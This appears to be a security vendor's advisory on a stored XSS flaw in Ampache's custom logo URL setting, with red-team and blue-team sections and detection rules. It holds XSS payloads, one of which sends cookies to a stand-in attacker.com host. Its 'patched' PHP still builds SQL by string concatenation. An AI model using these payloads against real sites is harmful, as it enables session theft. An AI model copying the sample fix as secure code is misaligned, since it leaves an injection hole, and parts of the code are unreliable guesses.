CVE-2024-51490

Executive Summary

CVE-2024-51490 is a stored Cross-Site Scripting (XSS) vulnerability in the Ampache web-based audio/video streaming application and file manager. The flaw exists in the "Custom URL - Logo" field within the interface settings section of the Ampache menu. User-supplied input is not properly sanitized, allowing an authenticated attacker with administrative privileges to inject arbitrary JavaScript code. When an administrator or other user views the affected page, the injected script executes in the context of their browser session. This can lead to session hijacking, credential theft, or further compromise of the Ampache instance. The vulnerability is rated with a CVSS score of 5.5 (Medium) and affects all versions prior to 7.0.1. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time.

Supply Chain & Package Security

Ampache is a PHP-based application typically installed via manual download or package managers like Composer. This vulnerability does not directly affect the supply chain of dependencies, but the lack of input sanitization in a core feature highlights a weakness in the application's own codebase. Users should verify the integrity of their Ampache installation and ensure they are running version 7.0.1 or later.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L
• Base Score: 5.5 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid user account with administrative privileges.
• User Interaction (UI): Required (R) – The victim must visit the affected page.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: Medium. Exploitation requires authenticated access and user interaction, but the potential for session hijacking and further attacks makes it a significant risk for Ampache deployments.

Deep Dive & Mechanics

The vulnerability resides in the admin.php or similar administrative interface where users can customize the application's logo URL. The input field for "Custom URL - Logo" is not sanitized or encoded before being stored in the database and later rendered in the HTML page. An attacker with administrative privileges can inject a payload such as:

javascript:alert('XSS')

or a more sophisticated script:

"><img src=x onerror=alert(1)>

When the page is loaded, the injected script executes in the victim's browser context, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

The root cause is the lack of output encoding or input validation for the logo URL field. The application likely uses a function like echo $logo_url; without applying htmlspecialchars() or similar sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-7.0.1):

// In admin.php or settings page
$logo_url = $_POST['custom_logo_url'];
// Store in database without sanitization
$sql = "UPDATE settings SET value = '$logo_url' WHERE name = 'custom_logo_url'";
mysqli_query($conn, $sql);
// Later, when rendering the page
echo "<img src='$logo_url' alt='Logo'>";

Patched Code (7.0.1+):

// In admin.php or settings page
$logo_url = $_POST['custom_logo_url'];
// Sanitize input
$logo_url = filter_var($logo_url, FILTER_SANITIZE_URL);
// Or use htmlspecialchars when outputting
$safe_logo_url = htmlspecialchars($logo_url, ENT_QUOTES, 'UTF-8');
// Store in database
$sql = "UPDATE settings SET value = '$safe_logo_url' WHERE name = 'custom_logo_url'";
mysqli_query($conn, $sql);
// Later, when rendering the page
echo "<img src='" . htmlspecialchars($logo_url, ENT_QUOTES, 'UTF-8') . "' alt='Logo'>";

The patch ensures that user input is sanitized and output is properly encoded, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid Ampache account with administrative privileges.
• Access to the "Custom URL - Logo" field in the interface settings.

Exploitation Steps:

1. Log in to Ampache as an administrator.
2. Navigate to the interface settings (e.g., /admin.php?page=interface).
3. In the "Custom URL - Logo" field, enter a malicious payload:

   "><script>alert('XSS')</script>
   

4. Save the settings.
5. When any user (including other admins) visits the page, the script executes.

Advanced Payload (Session Hijacking):

"><img src=x onerror="document.location='http://attacker.com/steal.php?cookie='+document.cookie">

Lab Setup:

• Install Ampache version 7.0.0 or earlier on a local server (e.g., using Docker or XAMPP).
• Create an admin account.
• Use a browser with developer tools to inspect the network and DOM.

Blue Team

Detection:

• Monitor for unusual changes to the custom_logo_url setting in the database.
• Look for HTTP requests to /admin.php with suspicious custom_logo_url parameters.
• Use web application firewalls (WAF) to block common XSS patterns.

Hunting:

• Search logs for custom_logo_url containing <script>, onerror, javascript:, or other XSS indicators.
• Review database entries for the settings table where name = 'custom_logo_url' and value contains HTML or JavaScript.

Mitigation:

• Immediately upgrade to Ampache version 7.0.1 or later.
• If upgrade is not possible, implement a WAF rule to block XSS payloads in the custom_logo_url parameter.
• Restrict administrative access to trusted users only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /admin.php with custom_logo_url parameter containing <script>, onerror, javascript:, or base64-encoded payloads.
  • Outbound connections to attacker-controlled domains from the Ampache server.

• Host IOCs:

  • Database entries in the settings table where name = 'custom_logo_url' and value contains HTML tags or JavaScript.
  • Modified Ampache configuration files (e.g., config/ampache.cfg.php) with suspicious logo URLs.

• File IOCs:

  • Log files (e.g., /var/log/ampache/access.log) showing requests to /admin.php with XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2024_51490_XSS_Logo_URL {
    meta:
        description = "Detects XSS payloads in Ampache custom_logo_url field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51490"
    strings:
        $xss1 = /custom_logo_url.*<script/i
        $xss2 = /custom_logo_url.*onerror/i
        $xss3 = /custom_logo_url.*javascript:/i
        $xss4 = /custom_logo_url.*onload/i
    condition:
        any of them
}

Sigma Rule

title: Ampache Custom Logo URL XSS Attempt
id: 8f4c3b2a-1d5e-4f7c-9a8b-0c1d2e3f4a5b
status: experimental
description: Detects attempts to exploit CVE-2024-51490 by injecting XSS payloads into the custom_logo_url parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'custom_logo_url'
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror'
            - 'javascript:'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in logo URL (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51490 Ampache XSS in Custom Logo URL"; flow:to_server,established; content:"POST"; http_method; content:"/admin.php"; http_uri; content:"custom_logo_url"; http_client_body; pcre:"/(<script|onerror|javascript:|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Ampache to version 7.0.1 or later. This is the only official fix.
2. If upgrade is not possible, manually apply input sanitization to the custom_logo_url field in the codebase.
3. Restrict administrative access to trusted users only.

Long-Term Measures:

• Implement a Content Security Policy (CSP) header to mitigate XSS impact.
• Regularly audit user permissions and settings changes.
• Enable logging and monitoring for administrative actions.
• Conduct periodic security reviews of custom code and configurations.

Workarounds:

• No official workarounds exist. The only solution is to upgrade.

Valters IT